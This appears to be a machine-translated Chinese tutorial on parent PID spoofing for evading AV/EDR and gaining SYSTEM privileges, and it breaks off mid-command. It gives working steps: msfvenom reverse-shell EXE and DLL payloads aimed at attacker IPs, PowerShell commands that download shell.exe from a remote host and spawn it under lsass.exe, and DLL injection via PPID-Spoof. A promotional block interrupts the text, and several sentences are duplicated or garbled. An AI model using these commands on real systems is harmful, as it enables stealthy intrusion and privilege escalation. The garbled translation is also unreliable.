父亲的过程欺骗是一种访问令牌操作技术,通过恶意文件PPID指定为explorer.exe等合法进程PPID,可以帮助攻击者避免启发式检测等防御技术。
这种欺骗可以通过使用本地使用API调用可以帮助攻击者指定显式PID,如C 中的CreateProcess调用。正如我们将在本文中看到的,这种显式分配也可能有一些附带好处。
MITRE 战术:提高权限(TA0004)和 防御规避(TA0005)
MITRE ATT&CK技术:T1134 :Windows访问令牌模拟窃取和使用
子技术:T1134.004 :访问令牌操作:父亲 PID 欺骗
背景:子过程监测是威胁狩猎最常见的指标之一。如果应急响应人员可能会分析 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 生成等零相关应用程序表明可能存在潜在威胁。如果应急响应人员可能会分析 conhost.exe 或 cmd.exe 进程是从 Adobe Reader 或 MS Excel 生成零相关应用程序表明可能存在潜在威胁。安全防护软件将在启发性检测下监控此行为,并向管理员发出报警。
父PID(PPID)欺骗可以绕过 AV/EDR检测,使其认为是 lsass.exe 这样的合法过程正在进行中。它通过欺骗过程 PID 匹配父亲的过程 PID 这样做。这种方法的另一个好处是,如果父亲的过程是这样的话 SYSTEM 如果权限运行,可以继承访问令牌,使其子过程相同 SYSTEM 权限。
【-全网最完整的网络安全学习资料包与爱学习的你分享,关注我,私信回复收获取-
1.从多个方向学习网络安全路线
2.全网最全CTF入门学习资料
3.分享一线老板的实战经验笔记
4.网安大厂面试题集合
5.红蓝对抗实战技术秘籍
6.网络安全基础介绍,Linux、web视频安全和渗透测试
进程、PID和PPID进程:在 Windows 中,应用程序由一个或多个过程组成。简单地说,目前正在运行的部分程序称为过程。简单地说,目前正在运行的部分程序称为过程。不同的应用程序可能会使用相同的过程(例如cmd.exe),为了避免歧义,将一个整数分配给一个过程和另一个过程。该整数称为PID。
PID:代表过程标识符 (PID),它是运行过程中的数字表示。Windows 中通过 GetCurrentProcessID() 函数返回指定的过程 PID。
父进程:父过程是一个可以衍生多个子过程的过程。例如,命令explorer.exe /e,/root,"C:\\WINDOWS\\System32\\cmd.exe"将派生cmd.exe作为父进程explorer.exe的子进程。可用于代码中的父过程fork()系统调用衍生子过程。
PPID:代表父亲的过程标识符(PPID),它是为父亲提供过程的数字表示。任何包含子过程的过程都有父子关系。
方法一(使用C 程序进行PID欺骗)Didier Stevens 最初在这里的帖子里谈到了Windows API——"CreateProcess";这种方法。还发布了一个用途C 编写的使用程序(SelectMyParent)。这里可以下载代码:https://web.archive.org/web/20210225035252/http:/www.didierstevens.com/files/software/SelectMyParent_v0_0_0_1.zip
请注意,如果你使用更高版本Visual Studio,这可能需要重生EXE。在Visual Studio2022年,我删除了Debug and Release文件夹中的SelectMyParent.pdb文件重新生成项目,使其运行。
你会在过程管理器中看到它 explorer.exe 在 PID 1624 上运行
所以,在这个父亲 explorer.exe在这个过程中运行我们自己的二进制文件,可以这样使用 SelectMyParent.exe,你会看到在 PID 1624创造了一个新的过程。
E:\\>SelectMyParent.exe notepad 1624
可以看到在PID 2836启动了notepad.exe
同样,我们也可以自己操作EXE。让我们先用msfvenom创造一个可以反弹的shell的exe
# msfvenom -p windows/shell_reverse_tcp -f exe LHOST=172.19.218.248 LPORT=7777 > shell.exe
在感染端,使用tasklist /v查看过程操作细节。
列表中可以看到explorer.exe进程以test身份在进程ID 1624上运行。
然后运行生成shell.exe,并附属在explorer.exe的PID下
收到的监听端shell便是explorer.exe用户权限的过程
若使用具有system可以提高权限的过程。
F-Secure 实验室利用 powershell 替代上述Didier 二进制文件方案。它也可以用来欺骗父亲的过程。与上述方法不同,它可以注入DLL子过程衍生为子过程,功能更强大。这里可以下载代码https://github.com/countercept/ppid-spoofing,首先,检查受害者机器上的过程ID,我们在这里选择 Powershell 的 PID 24092 作为父进程ID。
利用msfvenmon注入生成DLL
msfvenom -p windows/x64/shell_reverse_tcp exitfunc=thread LHOST=172.27.115.207 LPORT=7777 -f dll > shell.dll[-]No platform was selected, choosing Msf::Module::Platform::Windows from the payload[-]No arch selected, selecting arch: x64 from the payloadNo encoder specified, outputting raw payloadPayload size: 460 bytesFinal size of dll file: 8704 bytes
然后注入:
Import-Module .\\PPID-Spoof.ps1PPID-Spoof -ppid 24092 -spawnto "C:\\Windows\\System32\
otepad.exe" -dllpath .\\shell.dll
可见注入DLL在Notepad.exe执行中加载。
通过这种方式,PPID 24092上的powershell.exe有插入代码的过程衍生出来(由DLL提供)的notepad.exe。
方法三(使用Powershell 脚本入进行PID欺骗)Decoder-it 根据 Didier Stevens 提供的指南的指南 powershell 脚本,用了 CreateProcessFromParent() 方法,能在这里找到的psgetsystem脚本:https://github.com/decoder-it/psgetsystem.git,可用于通过PID欺骗派生子的过程。首先,让我们检查所需的过程 PID。这里以lsass.exe为例
然后执行以下命令:
powershell -ep bypassImport-Module .\\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\\shell.exe","")
假如报错了,可能是UAC需要先绕过的问题UAC,或者权限过低,需要提权。
绕过UAC这里可以找到脚本:https://github.com/samratashok/nishang/tree/master/Escalation
下载所需文件,然后执行命令
$client=new-object System.Net.WebClient $client.DownloadFile("http://<url>/psgetsys.ps1",".\\psgetsys.ps1")$client.DownloadFile("http://<url>/shell.exe",".\\shell.exe")Import-Module .\\psgetsys.ps1[MyProcess]::CreateProcessFromParent(520,".\\shell.exe","")
可以看到在lsass.exe由于子过程的成功创建,子过程成功了lsass.exe是system权限,所以反弹shell也获取到了system权限。
py7hagoras开发了GetSystem该项目是上述技术C#实现,这里可以找到:https://github.com/py7hagoras/GetSystem.git
在目标机上下载GetSystem.exe,然后执行GetSystem.exe 自定义程序 -O 目标进程名
GetSystem.exe shell.exe -O lsass
注:这里也可能需要绕过:UAC或者提权,否则执行不成功。
方法五(通过PID欺骗注入Shellcode)Chirag Savla 使用 C# 开发一个名字叫ProcessInjection优秀的工具可以执行许多功能,包括 PID 注入欺诈过程。提供有效的 PID,尝试使用这个工具 CreateProcess 等原生 API 调用来欺骗 PID,然后注入代码。提供有效的 PID,尝试使用这个工具 CreateProcess 等原生 API 调用来欺骗 PID,然后注入代码。工具支持 hex、C 和 base64 格式的shellcode ,也可以选择 DLL 注入。在此下载工具:https://github.com/3xpl01tc0d3r/ProcessInjection
首先,使用msfvenom创建一个shellcode代码
msfvenom -p windows/
x6